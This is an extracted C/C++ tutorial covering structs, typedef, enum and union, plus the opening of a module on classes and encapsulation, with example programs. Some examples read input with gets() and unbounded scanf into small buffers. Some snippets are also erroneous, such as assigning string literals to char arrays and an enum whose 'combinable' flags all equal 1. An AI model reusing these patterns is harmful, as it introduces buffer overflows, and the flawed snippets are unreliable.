#ifdef __cplusplus
}
#endif
#undef assert

#ifdef NDEBUG
#define assert(p) ((void)0)
#else
#define assert(p) ((p) ? (void)0 : _assert(#p, __FILE__, __LINE__))
#endif

#endif /* __FLAT__ */
#if !defined(RC_INVOKED)
#if defined(__STDC__)
#pragma warn .nak
#endif

#endif /* !RC_INVOKED */

------------------------------------------------------o0o-------------------------------------------------------

Further reading and digging:

1. Check the best selling C/C++ books at Amazon.com.

www.tenouk.com Page 17 of 17
MODULE 11
TYPE SPECIFIERS
struct, typedef, enum, union

My Training Period: hours

Note: From this Module you can jump to the Object Oriented idea and C++ or proceed to extra C Modules or
Microsoft C: implementation specific to experience how C is used in the real implementation.

Abilities

▪ Able to understand and use structure (struct).


▪ Able to relate structure, functions and array.
▪ Able to understand and use typedef.
▪ Able to understand and use union.
▪ Able to understand and use Enumeration (enum).

11.1 Structure

- We have learned that by using an array, we only can declare one data type per array, and it is same for
other data types. To use the same data type with different name, we need another declaration.
- struct data type overcomes this problem by declaring aggregate data types.
- A structure is a collection of related data items stored in one place and can be referenced by more
than one names. Usually these data items are different basic data types. Therefore, the number of
bytes required to store them may also vary.
- It is very useful construct used in data structure, although in C++, many struct constructs has been
replaced by class construct but you will find it quite a common in the Win32 programming.
- In order to use a structure, we must first declare a structure template. The variables in a structure are
called structure elements or members.
- For example, to store and process a student’s record with the elements id_num (identification
number), name, gender and age, we can declare the following structure.

struct student {
char id_num[5];
char name[10];
char gender;
int age;
};

- Here, struct is a keyword that tells the compiler that a structure template is being declared and
student is a tag that identifies its data structure. Tag is not a variable; it is a label for the structure’s
template. Note that there is a semicolon after the closing curly brace.
- A structure tags simply a label for the structure’s template but you name the structure tag using the
same rules for naming variables. The template for the structure can be illustrated as follow (note the
different data size):

- Compiler will not reserve memory for a structure until you declare a structure variable same as you
would declare normal variables such as int or float.
- Declaring structure variables can be done in any of the following ways (by referring to the previous
example):

1. struct student{
char id_num[5];
char name[10];
char gender;
int age;
} studno_1, studno_2;

2. struct{//no tag

www.tenouk.com Page 1 of 17
char id_num[5];
char name[10];
char gender;
int age;
}studno_1, studno_2;

3. struct student{
char id_num[5];
char name[10];
char gender;
int age;
};

- Then in programs we can declare the structure something like this:

struct student studno_1, studno_2;

- In the above three cases, two structure variables, studno_1 and studno_2, are declared. Each
structure variable has 4 elements that is 3 character variables and an integer variable.
- In (1) and (2), the structure variables are declared immediately after the closing brace in the structure
declaration whereas in (3) they are declared as student. Also in (2) there is no structure tag, this
means we cannot declare structure variables of this type elsewhere in the program instead we have to
use the structure variables studno_1 and studno_2 directly.
- The most widely used may be no (1) and (3) where we put the declaration of the struct in header
files and use it anywhere in programs as follows:

struct student studno_1, studno_2;

- Where the studno_1, studno_2 are variables declared as usual but the type here is struct
student instead of integral type such as int, char and float.
- It is also a normal practice to combine the typedef (will be explained later on) with struct,
making the variables declaration even simpler. For example:

typedef struct TOKEN_SOURCE {


CHAR SourceName[8];
LUID SourceIdentifier;
} TOKEN_SOURCE,
*PTOKEN_SOURCE;

- In this example we use typedef with struct. In our program we just declare variable as follows:

TOKEN_SOURCE myToken;

- The TOKEN_SOURCE type is used for a normal variable and the *PTOKEN_SOURCE type is used for a
pointer variable. You will find that these are typical constructs in Win32 programming of Windows.
For more information refers to Module A or Tutorial #2.

11.2 Accessing The Structure Element

- A structure element can be accessed and assigned a value by using the structure variable name, the
dot operator (.) and the element’s name. For example the following statement:

studno_1.name = "jasmine";

- Assigns string "jasmine" to the element name in the structure variable studno_1. The dot
operator simply qualifies that name is an element of the structure variable studno_1. The other
structure elements are referenced in a similar way.
- Unfortunately, we cannot assign string "jasmine" (const char) directly to an array in the structure
(char []). For this reason, we have to use other methods such as receiving the string from user input
or by using pointers.
- Program example.

//A simple structure program example


#include <stdio.h>
#include <stdlib.h>

struct student{

www.tenouk.com Page 2 of 17
char id_num[6];
char name[11];
char gender;
int age;
};

int main(void)
{
struct student studno_1;

//studno_1.id_num = "A3214"; //Illegal, const char to char[]


//studno_1.name = "Smith"; //Illegal, const char to char[]
printf("Enter student ID num (5 max): ");
scanf("%s", studno_1.id_num);
printf("Enter student name (10 max): ");
scanf("%s", studno_1.name);
studno_1.gender = 'M';
studno_1.age = 30;

printf("\n------------------\n");
printf("ID number: %s\n", studno_1.id_num);
printf("Name : %s\n", studno_1.name);
printf("Gender : %c\n", studno_1.gender);
printf("Age : %d\n", studno_1.age);
printf("------------------\n");
system("pause");
return 0;
}

Output:

- The structure pointer operator (→), consisting of a minus (-) sign and a greater than (>) sign with no
intervening spaces, accesses a structure member via a pointer to the structure.
- By assuming that a pointer SPtr has been declared to point to struct Card, and the address of
structure p has been assigned to SPtr. To print member suit of structure Card with pointer SPtr,
use the statement Sptr→suit as shown in the following example.

//accessing structure element


#include <iostream.h>
#include <stdlib.h>

struct Card
{
char *face; //pointer to char type
char *suit; //pointer to char type
};

void main()
{
//declare the struct type variables
struct Card p;
struct Card *SPtr;

p.face = "Ace";
p.suit = "Spades";
SPtr = &p;

cout<<"Accessing structure element:\n";


cout<<"\n\'SPtr->suit\' = "<<SPtr->suit<<endl;
cout<<"\'SPtr->face\' = "<<SPtr->face<<endl;
//for Borland...

www.tenouk.com Page 3 of 17
system("pause");
}

Output:

- The expression SPtr->suit is equivalent to (*SPtr).suit which dereferences the pointer and
accesses the member suit using the structure member operator.
- The parentheses are needed here because the structure member operator, the dot (.) has higher
precedence than the pointer dereferencing operator, the asterisk (*).
- Program example:

//Using the structure member and structure


//pointer operators – accessing structure
//elements styles...
#include <iostream.h>
#include <stdlib.h>

struct Card
{
char *face;
char *suit;
};

int main()
{
struct Card p;
struct Card *SPtr;

p.face = "Ace";
p.suit = "Spades";
SPtr = &p;

cout<<"Accessing structure element styles"<<endl;


cout<<"----------------------------------"<<endl;
cout<<"Style #1-use p.face: "<<p.face<<" of "<<p.suit<<endl;
cout<<"Style #2-use Sptr->face: "<<SPtr->face<<" of "<<SPtr->suit<<endl;
cout<<"Style #3-use (*Sptr).face: "<<(*SPtr).face<<" of "<<(*SPtr).suit<<endl;
system("pause");
return 0;
}

Output:

11.3 Arrays Of Structures

- Suppose you would like to store the information of 100 students. It would be tedious and
unproductive to create 100 different student array variables and work with them individually. It would
be much easier to create an array of student structures.
- Structures of the same type can be grouped together into an array. We can declare an array of
structures just like we would declare a normal array of variables.

www.tenouk.com Page 4 of 17
- For example, to store and manipulate the information contained in 100 student records, we use the
following statement:

struct student{
char id[5];
char name[80];
char gender; int age;
}stud[100];

- Or something like the following statements:

struct student{
char id[5];
char name[80];
char gender;
};
struct student stud[100];

- These statements declare 100 variables of type student (a structure). As in arrays, we can use a
subscript to reference a particular student structure or record.
- For example, to print the name of the seventh student, we could write the following statement:

cout<<stud[6].name;

- Example of initializing all the student names to blanks and their ages to 0, we could do this simply by
using for loop as shown below:

for(i=0; i<100; i++)


{
stud[i].name = " ";
stud[i].age = 0;
}

- Very useful huh! Now let try a program example:

//an array structure of student information


#include <iostream.h>
#include <stdlib.h>
//for C++ replace to the following header
//#include <iostream>
//#include <cstdlib>
//using namespace std;

struct student
{
char id[6]; //student id number, max. 5 integer number
char name[50]; //student name, max 49 characters
char gender; //student gender Male or Female
int age; //student age
};

void main()
{
//declaring array of 10 element of structure type
//and some of the element also are arrays
struct student stud[10];
int i = 0;

cout<<"Keying in student data and then display\n";


cout<<"---------------------------------------\n";
cout<<"Enter student data\n";

for(i=0; i<2; i++)


{
//Storing the data
cout<<"\nID number (4 integer number) student #"<<i<<": ";
cin>>stud[i].id;
cout<<"First name student #"<<i<<": ";
cin>>stud[i].name;
cout<<"Gender (M or F) student #"<<i<<": ";
cin>>stud[i].gender;
cout<<"Age student #"<<i<<": ";
cin>>stud[i].age;
}

www.tenouk.com Page 5 of 17
cout<<"\n----------Display the data---------\n";
cout<<"You can see that the data storage\n";
cout<<"has been reserved for the structure!\n";
cout<<"------------------------------------\n";
for(i=0; i<2; i++)
{
//Displaying the stored data
cout<<"\nID number student # "<<i<<": "<<stud[i].id;
cout<<"\nFirst name student # "<<i<<": "<<stud[i].name;
cout<<"\nGender student # "<<i<<": "<<stud[i].gender;
cout<<"\nAge student # "<<i<<": "<<stud[i].age<<"\n";
}
system("pause");
}

Output:

- The structure template for the program example can be illustrated as follows:

www.tenouk.com Page 6 of 17
11.4 Structures And Function

- Individual structure elements or even an entire structure can be passed to functions as arguments. For
example, to modify the name of the seventh student, let say the function name is modify(), we could
issue the following function call:

modify(stud[6].name);

- This statement passes the structure element name of the seventh student to the function modify().
Only a copy of name is passed to the function. This means any change made to name in the called
function is local; the value of name in the calling program remains unchanged.
- An entire structure can also be passed to a function. We can do this either by passing the structure
itself as argument or by simply passing the address of the structure.
- For structure element example, to modify the seventh student in the list, we could use any of the
following statements.

modify(stud[6]);
modify(&stud[6]);

- In the first statement, a copy of the structure is passed to the function while in the second only the
address of the structure is passed.
- As only a copy of the structure is passed in the first statement, any changes made to the structure within
the called function do not affect the structure in the calling function.
- However in the second statement any changes made to the structure within the called function will
change the structure values in the calling function since the called function directly accesses the
structure and its elements.
- Let take a look at a program example.

//passing structures to functions and


//a function returning a structure
#include <iostream.h>
#include <stdlib.h>
#include <stdio.h>

//-------------structure part-------------
struct vegetable
{
char name[30];
float price;
};

www.tenouk.com Page 7 of 17
//--------------main program-------------
int main()
{
//declare 2 structure variables
struct vegetable veg1, veg2;
//function prototype of type struct
struct vegetable addname();
//another function prototype
int list_func(vegetable);

//functions call for user input...


veg1 = addname();
veg2 = addname();
cout<<"\nVegetables for sale\n";

//function call for data display...


list_func(veg1);
list_func(veg2);
cout<<endl;
//for Borland
system("pause");
return 0;
}
//-------------function----------------
//This functions returns a structure
struct vegetable addname()
{
char tmp[20];
//declare a structure variable
struct vegetable vege;

cout<<"\nEnter name of vegetable: ";


gets(vege.name);
cout<<"Enter price (per 100gm): $ ";
gets(tmp);
//converts a string to float
vege.price = atof(tmp);
return (vege);
}

//structure passed from main()


int list_func(vegetable list)
{
cout<<"\nVegetable name: "<<list.name;
cout<<"\nVegetable price: $"<<list.price;
return 0;
}

Output:

- It is also possible to create structures in a structure.

11.5 typedef

- In contrast to the class, struct, union, and enum declarations, typedef declaration do not introduce
new type but introduces new name or creating synonym (or alias) for existing type.
- The syntax is as follows:

www.tenouk.com Page 8 of 17
typedef type-declaration the_synonym;

- You cannot use the typedef specifier inside a function definition.


- When declaring a local-scope identifier by the same name as a typedef, or when declaring a member
of a structure or union in the same scope or in an inner scope, the type specifier must be specified.
For example:

typedef float TestType;

int main()
{
}

//function scope...
int MyFunct(int)
{
//same name with typedef, it is OK
int TestType;
}

- When declaring a local-scope identifier by the same name as a typedef, or when declaring a member
of a structure or union in the same scope or in an inner scope, the type specifier must be specified.
For example:

//both declarations are different...


typedef float TestType;
const TestType r;

- To reuse the TestType name for an identifier, a structure member, or a union member, the type
must be provided, for example:

const int TestType;

- Typedef names share the name space with ordinary identifiers. Therefore, a program can have a typedef
name and a local-scope identifier by the same name.

//typedef specifier
typedef char FlagType;

void main()
{
}

void myproc(int)
{
int FlagType;
}

- The following paragraphs illustrate other typedef declaration examples that you will find used a lot
in Win32 programming:

//Character type.
typedef char CHAR;

//Pointer to a string (char *).


typedef CHAR * THESTR;
//Then use it as function parameter...
THESTR strchr(THESTR source, CHAR destination);

typedef unsigned int uint;


//Equivalent to "unsigned long ui;"
uint ui;

- To use typedef to specify fundamental and derived types in the same declaration, you can separate
declarators with comma. For example:

typedef char CHAR, *THESTR;

www.tenouk.com Page 9 of 17
- The following example provides the type Funct() for a function returning no value and taking two
int arguments:

typedef void Funct(int, int);

- After the above typedef statement, the following is a valid declaration:

Funct test;

- And equivalent to the following declaration:

void test(int, int);

- Names for structure types are often defined with typedef to create shorter and simpler type name.
For example, the following statements:

typedef struct Card Card;


typedef unsigned short USHORT;

- Defines the new type name Card as a synonym for type struct Card and USHORT as a synonym
for type unsigned short. Programmers usually use typedef to define a structure type so a
structure tag is not required. For example, the following definition:

typedef struct{
char *face;
char *suit;
} Card;

- Creates the structure type Card without the need for a separate typedef statement. Then Card can
now be used to declare variables of type struct Card. For example, the following declaration:

Card deck[50];

- Declares an array of 50 Card structures. typedef simply creates a new type name which may be
used as an alias for an existing type name.
- Often, typedef is used to create synonyms for the basic data types. For example, a program
requiring 4-byte integers may use type int on one system and type long on another.
- Programs designed for portability often uses typedef to create an alias for 4-byte integers such as, let
say Integer. The alias Integer can be changed once in the program to make the program work on
both systems.
- Program example:

//typedef and struct program example


#include <stdio.h>
#include <stdlib.h>

typedef struct TestStruct


{
int p;
char q;
double r;
} mine;

void main()
{
mine testvar; //the declaration becomes simpler
testvar.p = 200;
testvar.q = 'T';
testvar.r = 1.234;
printf("%d\n%c\n%.4f\n", testvar.p, testvar.q, testvar.r);
system("pause");
}

Output:

www.tenouk.com Page 10 of 17
- Another program example.

//typedef specifier
#include <stdio.h>

typedef struct mystructtag


{
int x;
double y;
char* z;
} mystruct;

int main()
{
mystruct Test1, *Test2;
Test1.x = 111;
Test1.y = 1.111;
printf("Test1.x = %d\nTest1.y = %f\n", Test1.x, Test1.y);

Test1.z = "This is a string";


Test2 = &Test1;
printf("Test1->z = %s\n", Test2->z);
return 0;
}

Output:

11.6 enum - Enumeration Constants

- This is another user-defined type consisting of a set of named constants called enumerators.
- Using a keyword enum, it is a set of integer constants represented by identifiers.
- The syntax is shown below:

//for definition of enumerated type


enum [tag]
{
enum-list
}
[declarator];

- And

//for declaration of variable of type tag


enum tag declarator;

- These enumeration constants are, in effect, symbolic constants whose values can be set automatically.
The values in an enum start with 0, unless specified otherwise, and are incremented by 1. For
example, the following enumeration:

enum days {Mon, Tue, Wed, Thu, Fri, Sat, Sun};

- Creates a new data type, enum days, in which the identifiers are set automatically to the integers 0 to
6. To number the days 1 to 7, use the following enumeration:

enum days {Mon = 1, Tue, Wed, Thu, Fri, Sat, Sun};

www.tenouk.com Page 11 of 17
- Or we can re arrange the order:

enum days {Mon, Tue, Wed, Thu = 7, Fri, Sat, Sun};

- Simple program example:

#include <iostream.h>
#include <stdlib.h>

enum days {mon = 1,tue,wed,thu,fri,sat,sun};

void main()
{
//declaring enum data type
enum days day_count;

cout<<" Simple day count\n";


cout<<" using enum\n";

for(day_count=mon; day_count<=sun; day_count++)


cout<<" "<<day_count<<"\n";
system("pause");
}

Output:

- As said before, by default, the first enumerator has a value of 0, and each successive enumerator is one
larger than the value of the previous one, unless you explicitly specify a value for a particular
enumerator.
- Enumerators needn't have unique values within an enumeration. The name of each enumerator is
treated as a constant and must be unique within the scope where the enum is defined. An enumerator
can be promoted to an integer value.
- Converting an integer to an enumerator requires an explicit cast, and the results are not defined if the
integer value is outside the range of the defined enumeration.
- Enumerated types are valuable when an object can assume a known and reasonably limited set of
values.
- Another program example.

//enum declarations
#include <iostream>
using namespace std;

//Declare enum data type Days


enum Days
{
monday, //monday = 0 by default
tuesday = 0, //tuesday = 0 also
wednesday, //wednesday = 1
thursday, //thursday = 2
friday, //an so on.
saturday,
sunday
};

int main()
{
//try changing the tuesday constant,

www.tenouk.com Page 12 of 17
//recompile and re run this program
enum Days WhatDay = tuesday;
switch (WhatDay)
{
case 0:
cout<<"It's Monday"<<endl;
break;
default:
cout<<"Other day"<<endl;
}
return 0;
}

Output:

- After the enum data type has been declared and defined, in C++ it is legal to use the enum data type
without the keyword enum. From the previous example, the following statement is legal in C++:

//is legal in C++


Days WhatDay = tuesday;

- Enumerators are considered defined immediately after their initializers; therefore, they can be used to
initialize succeeding enumerators.
- The following example defines an enumerated type that ensures any two enumerators can be combined
with the OR operator.
- In this example, the preceding enumerator initializes each succeeding enumerator.

//enum definition
#include <iostream>
using namespace std;

enum FileOpenFlags
{
//defined here...
OpenReadOnly = 1,
//using OpenReadOnly as the next initializer
//and so on...
OpenReadWrite = OpenReadOnly,
OpenBinary = OpenReadWrite,
OpenText = OpenBinary,
OpenShareable = OpenText
};

int main()
{
return 0;
}
//No output

- As said and shown in the program example before, enumerated types are integral types, any enumerator
can be converted to another integral type by integral promotion. Consider the following example.

//enumeration data type


#include <iostream>
using namespace std;

enum Days
{

Tuesday,
Wednesday,
Thursday,
Friday,
Saturday,
Sunday,
Monday
};

www.tenouk.com Page 13 of 17
int i;
Days d = Thursday;
int main()
{
//Converted by integral promotion.
i = d;
cout<<"i = "<<i<<"\n";
return 0;
}

Output:

- However, there is no implicit conversion from any integral type to an enumerated type. Therefore from
the previous example, the following statement is an error:

//Erroneous attempt to set d to Saturday.


d = 5;

- The assignment d = 5, where no implicit conversion exists, must use a cast to perform the conversion:

//Explicit cast-style conversion to type Days.


d = (Days)5;
//Explicit function-style conversion to type Days.
d = Days(4);

- The preceding example shows conversions of values that coincide with the enumerators. There is no
mechanism that protects you from converting a value that does not coincide with one of the
enumerators. For example:

d = Days(30);

- Some such conversions may work but there is no guarantee the resultant value will be one of the
enumerators.
- The following program example uses enum and typedef.

//typedef and enum...


#include <stdio.h>
#include <stdlib.h>

typedef enum {
FailOpenDisk = 1,
PathNotFound,
FolderCannotBeFound,
FileCannotBeFound,
FailOpenFile,
FileCannotBeRead,
DataCorrupted
} ErrorCode;

int main(void)
{
ErrorCode MyErrorCode;

for(MyErrorCode=FailOpenDisk; MyErrorCode<=DataCorrupted; MyErrorCode++)


printf(" %d", MyErrorCode);
printf("\n");
system("pause");
return 0;
}

Output:

www.tenouk.com Page 14 of 17
11.7 union

- A derived data type, whose members share the same storage space. The members of a union can be
of any type and the number of bytes used to store a union must be at least enough to hold the largest
member.
- Unions contain two or more data types. Only one member, and thus one data type, can be referenced
at a time. It is the programmer’s responsibility to ensure that the data in a union is referenced with the
proper data type and this is the weakness of using union compared to struct.
- A union is declared with the union keyword in the same format as a structure. The following is a
union declaration:

union sample
{
int p;
float q;
};

- Indicates that sample is a union type with members’ int p and float q. The union definition
normally precedes the main() in a program so the definition can be used to declare variables in all the
program’s functions.
- Only a value with same type of the first union member can be used to initialize union in declaration
part. For example:

union sample
{
int p;
float q;
};

union sample content = {234};

- But, using the following declaration is invalid:

union sample
{
int p;
float q;
};

union sample content = {24.67};

- The operations that can be performed on a union are:

▪ Assigning a union to another union of the same type.


▪ Taking the address (&) of a union and
▪ Accessing union member using the structure member operator and the structure pointer operator.

- Program example:

#include <iostream.h>
#include <stdlib.h>

union sample
{
int p;
float q;
double r;
};

void main()
{
//union data type
union sample content;

www.tenouk.com Page 15 of 17
content.p = 37;
content.q = 1.2765;

cout<<"Display the union storage content\n";


cout<<" ONLY one at a time!\n";
cout<<"---------------------------------\n";
cout<<"Integer: "<<content.p<<"\n";
cout<<"Float : "<<content.q<<"\n";
cout<<"Double : "<<content.r<<"\n";
cout<<"See, some of the contents are rubbish!\n";

content.q=33.40;
content.r=123.94;

cout<<"\nInteger: "<<content.p<<"\n";
cout<<"Float : "<<content.q<<"\n";
cout<<"Double : "<<content.r<<"\n";
cout<<"See another inactive contents, rubbish!\n";
cout<<"\nBetter use struct data type!!\n";
system("pause");
}

Output:

- Program example compiled using VC++/VC++ .Net.

//typedef specifier
#include <cstdio>

//typedef oldname newname


typedef struct mystructtag
{
int x;
double y;
char* z;
} mystruct;

int main()
{
mystruct Test1, *Test2;
Test1.x = 111;
Test1.y = 1.111;
printf("Test1.x = %d\nTest1.y = %f\n", Test1.x, Test1.y);

Test1.z = "This is a string";


Test2 = &Test1;
printf("Test1->z = %s\n",Test2->z);
return 0;
}

Output:

www.tenouk.com Page 16 of 17
- Previous example compiled using g++.

///////typestruct.cpp///////////
//typedef specifier
#include <cstdio>
using namespace std;

//typedef oldname newname


typedef struct mystructtag
{
int x;
double y;
char* z;
} mystruct;

int main()
{
mystruct Test1, *Test2;
Test1.x = 111;
Test1.y = 1.111;
printf("Test1.x = %d\nTest1.y = %f\n", Test1.x, Test1.y);

Test1.z = "This is a string";


Test2 = &Test1;
printf("Test1->z = %s\n", Test2->z);
return 0;
}

[bodo@bakawali ~]$ g++ typestruct.cpp -o typestruct


[bodo@bakawali ~]$ ./typestruct

Test1.x = 111
Test1.y = 1.111000
Test1->z = This is a string

---------------------------------------------------o0o ---------------------------------------------------

Further reading and digging:

1. Check the best selling C/C++ books at Amazon.com.

www.tenouk.com Page 17 of 17
MODULE 12
CLASS - ENCAPSULATION I

My Training Period: hours

Notes:
Starting from this Module, you have to be careful for the source codes that span more than one line. When you
copy and paste to the text or compiler editor, make it in one line! This Module is a transition from C to C++ and
topics of C++ such as Functions, Arrays, Pointers and Structure that have been discussed in C (Tutorial #1 and #2)
will not be repeated. They are reusable!
This Module and that follows can be a very good fundamental for Object Oriented programming though it is an old
story :o).

Abilities

▪ To understand the basic principle of encapsulation.


▪ To understand the principle of data hiding.
▪ To understand and use class, object, object instance and message.
▪ To understand and use keyword public and private.
▪ To understand and use constructor and destructor.
▪ To understand and use inline function.
▪ To understand and use object packaging.

12.1 Introduction

- This Module is the beginning of the definition of objects oriented programming of C++. Basically,
encapsulation is the process of forming objects. It is container, which can only be accessed through
certain entry points in controlled manner.
- An encapsulated object is often called an abstract data type (ADT). Without encapsulation, which
involves the use of one or more classes, it is difficult to define the object oriented programming.
- We need encapsulation because we are human, and humans make errors. When we properly
encapsulate some code, we actually build protection for the contained code from accidental corruption
due to the errors that we are all prone to make.
- We also tend to isolate errors to small portions of code to make them easier to find and fix.
Furthermore, programming becomes more efficient, productive and faster program development cycle
by dividing and creating smaller modules or program portions, then combine in a systematic processes.
- You will find a lot of readily available classes in Java, Visual Basic®, Microsoft Foundation Classes
(MFC) of Visual C++ and other visual programming languages.
- In visual programming languages, you have to learn how to use the classes, which file to be included in
your program etc. For non technical programmer, it is much easier to learn programming by using
visual programming languages isn’t it? You decide!

12.2 Starting With struct

- As the beginning please refer to program start.cpp. This program will be the starting point for our
discussion of encapsulation.
- In this program, a very simple structure is defined in lines 5 through 8 which contain a single int
type variable within the structure.

struct item //struct data type


{
int keep_data;
};

- Three variables are declared in line 12, each of which contains a single int type variable and each of
the three variables are available for use anywhere within the main() function.

item John_cat, Joe_cat, Big_cat;

- Each variable can be assigned, incremented, read, modified, or have any number of operations
performed on it and a few of the operations are illustrated in lines 15 through 17. Notice the use of the
dot operator to access the structure element.

John_cat.keep_data = 10; //assigning data

www.tenouk.com
Joe_cat.keep_data = 11;
Big_cat.keep_data = 12;

- An isolated normal local variable named garfield is also declared and used in the same section of
code for comparison of the normal variable.
- Study this program example carefully, then compile and run.

1. //Program start.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. struct item //struct data type
6. {
7. int keep_data;
8. };
9.
10. void main()
11. {
12. item John_cat, Joe_cat, Big_cat;
13. int garfield; //normal variable
14.
15. John_cat.keep_data = 10; //assigning data
16. Joe_cat.keep_data = 11;
17. Big_cat.keep_data = 12;
18. garfield = 13;
19.
20. //Displaying data
21. cout<<"Data value for John_cat is "<<John_cat.keep_data<<"\n";
22. cout<<"Data value for Joe_cat is "<<Joe_cat.keep_data <<"\n";
23. cout<<"Data value for Big_cat is "<<Big_cat.keep_data<<"\n";
24. cout<<"Data value for garfield is "<<garfield<<"\n";
25. cout<<"Press Enter key to quit\n";
26. system("pause"); //just for screen snapshot
27. }

27 lines:Output:

12.3 Changing To class

- Next, please refer to example program class.cpp. This program is identical to the last one except for
a few program portions.
- The first difference is that we have a class instead of a structure beginning in line 7.

class item

- The only difference between a class and a structure is that a class begins with a private section by
default whereas a structure begins with a public section. The keyword class is used to declare a
class as illustrated.
- The class named item is composed of the single variable named keep_data and two functions, one
named set() and the other named get_value().
- A more complete definition of a class is: a group of variables (data), and one or more functions that can
operate on that data.
- In programming language terms, attributes, behaviors or properties of the object used for the
member variables.

1. //Program class.cpp using class instead of struct


2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //--------Class declaration part------------
6.

www.tenouk.com
7. class item
8. {
9. int keep_data; //private by default, it is public in struct
10. public: //public part
11. void set(int enter_value);
12. int get_value(void);
13. };
14.
15. //--------Class implementation part---------
16.
17. void item::set(int enter_value)
18. {
19. keep_data = enter_value;
20. }
21. int item::get_value(void)
22. {
23. return keep_data;
24. }
25.
26. //-------main program------------
27. void main()
28. {
29. item John_cat, Joe_cat, Big_cat;
30. //three objects instantiated
31. int garfield; //normal variable
32.
33. John_cat.set(10); //assigning data
34. Joe_cat.set(11);
35. Big_cat.set(12);
36. garfield = 13;
37. //John_cat.keep_data = 100;
38. //Joe_cat.keep_data = 110;
39. //This is illegal cause keep_data now, is private by default
40.
41. cout<<"Accessing data using class\n";
42. cout<<"-------------------------\n";
43. cout<<"Data value for John_cat is "<<John_cat.get_value()<<"\n";
44. cout<<"Data value for Joe_cat is "<<Joe_cat.get_value()<<"\n";
45. cout<<"Data value for Big_cat is "<<Big_cat.get_value()<<"\n";
46. cout<<"\nAccessing data normally\n";
47. cout<<"---------------------------\n";
48. cout<<"Data value for garfield is "<<garfield<<"\n";
49.
50. system("pause");
51. }

51 Lines:Output:

12.3.1 Private Section

- All data at the beginning of a class defaults to private. This means, the data at the beginning of the
class cannot be accessed from outside of the class; it is hidden from any outside access.
- Therefore, the variable named keep_data which is part of the object named John_cat defined in line
37 and 38, is not available for use anywhere in the main() program. That is why we have to
comment out the following codes:

//John_cat.keep_data = 100;
//Joe_cat.keep_data = 110;

- It is as if we have built a wall around the variables to protect them from accidental corruption by
outside programming influences.

www.tenouk.com
- The concept is graphically shown in figure 12.1, item class with its wall built around the data to
protect it.
- You will notice the small peep holes (through the arrow) we have opened up to allow the user to gain
access to the functions set() and get_value(). The peep holes were opened by declaring the
functions in the public section of the class.

12.3.2 Public Section

- A new keyword public, introduced in line 10 which states that anything following this keyword can
be accessed from outside of this class as shown below:

public: //public part

- Because the two functions are declared following the keyword public, they are both public and
available for use by any calling program that is within the scope of this object.
- This essentially opens two small peepholes in the solid wall of protection that we built around the class
and the private keep_data variable is not available to the calling program.
- Thus, we can only use the variable by calling one of the two functions defined within the public part of
the class. These are called member functions because they are members of the class.
- Since we have two functions, we need to define them by saying what each function will actually do.
This is done in lines 17 through 24 where they are each define in the normal way, except that the class
name is prepended onto the function name and separated from it by a double colon ( :: ), called scope
operator as shown below:

void item::set(int enter_value)


{
keep_data = enter_value;
}

int item::get_value(void)
{
return keep_data;
}

- These two function definitions are called the implementation of the functions. The class name is
required because we can use the same function name in other classes and the compiler will know with
which class to associate each function implementation.
- Notice that, the private data contained within the class is available within the implementation of the
member functions of the class for modification or reading in the normal manner.
- You can do anything with the private data within the function implementations which are a part of that
class; also the private data of other classes is hidden and not available within the member functions of
this class.
- This is the reason we must prepend the class name to the function names of this class when defining
them. Figure 12.2 depicts the data space following the program execution.
- It is legal to declare variables and functions in the private part, and additional variables and
functions in the public part also.
- In most practical situations, variables only declared in the private section and functions only
declared in the public part of a class definition. Occasionally, variables or functions are declared in
the other part. This sometimes leads to a very practical solution to a particular problem, but in general,
the entities are used only in the places mentioned for consistency and good programming style.

www.tenouk.com
- A variable with class scope is available anywhere within the scope of a class, including the
implementation code, and nowhere else. Hence, the variable named keep_data has a class scope.

12.3.3 Some Terminologies

- The following a list of terminologies that you need to understand their meaning in object oriented
programming.

Term Description
Is a group of data and methods (functions). A class is very much like a structure type
class as used in ANSI-C, it is just a type used to create a variable which can be manipulated
through method in a program.
Is an instance of a class, which is similar to a variable, defined as an instance of a
object type. An object is what you actually use in a program since it contains values and can
be changed.
Is a function contained within the class. You will find the functions used within a
method
class often referred to as methods in programming literature.
Is similar to function call. In object oriented programming, we send messages instead
of calling functions. For the time being, you can think of them as identical. Later you
message
will see that they are in fact slightly different. In programming terms, event or action
of the object normally used to describe a consequence of sending message.

Table 12.1: Some terms definition.

- We have defined that, objects have attributes and by sending message, the object can do something,
that is action or something can be done, so there may be an event.

www.tenouk.com
- Now for program named class.cpp, we can say that we have a class, composed of one variable and
two methods. The methods operate on the variable contained in the class when they receive messages
to do so.
- Lines 11 and 12 of this program are actually the prototypes for the two methods, and are our first
example of a prototype usage within a class as shown below:

void set(int enter_value);


int get_value(void);

- You will notice line 11 which says that the method named set() requires one parameter of type int
and returns nothing, hence the return type is void. The method named get_value() however,
according to line 12 has no input parameters but returns an int type value to the caller.

12.3.4 Sending A Message Or Function Call?

- After the definition in lines 2 through 24, we finally come to the program where we actually use the
class. In line 29 we instantiate three objects of the class item and name the objects John_cat,
Joe_cat and Big_cat.
- Each object contains a single data point which we can set through the use of the method set() or read
through the use of the method get_value(), but we cannot directly set or read the value of the data
point because it is hidden within the block wall around the class as if it is in a container.
- In line 32, we send a message to the object named John_cat instructing it to set its internal value to
10, and even though this looks like a function call, it is properly called sending a message to a
method. It is shown below:

John_cat.set(10); //assigning data

- Remember that the object named John_cat has a method associated with it called set() that sets its
internal value to the actual parameter included within the message.
- You will notice that the form is very much like the means of accessing the elements of a structure. You
mention the name of the object with a dot connecting it to the name of the method.

- This means, perform operation set, with argument 10 on the instance of the object John_cat.
- In a similar manner, we send a message to each of the other two objects, Joe_cat and Big_cat, to
set their values to those indicated.
- Lines 37 and 39 have been commented out because the operations are illegal. The variable named
keep_data is private by default and therefore not available to the code outside of the object itself.
- Also, the data contained within the object named John_cat is not available within the methods of
Joe_cat or Big_cat because they are different objects.
- The other method defined for each object is used in lines 43 through 45 to illustrate their usage. In
each case, another message is sent to each object and the returned result is output to the standard
output, screen, via the stream library cout
- There is another variable named garfield declared and used throughout this example program that
illustrates, a normal variable can be intermixed with the objects and used in the normal manner.
- Compile and run this program. Try removing the comments from lines 37 and 38, and then see what
kind of error messages your compiler issues.

12.4 Real Object And The Problem

- Examine the program named robject.cpp carefully, a program with a few serious problems that will
be overcome in the next program example by using the principles of encapsulation.

1. //Program robject.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.

www.tenouk.com
5. //--------function prototype------------
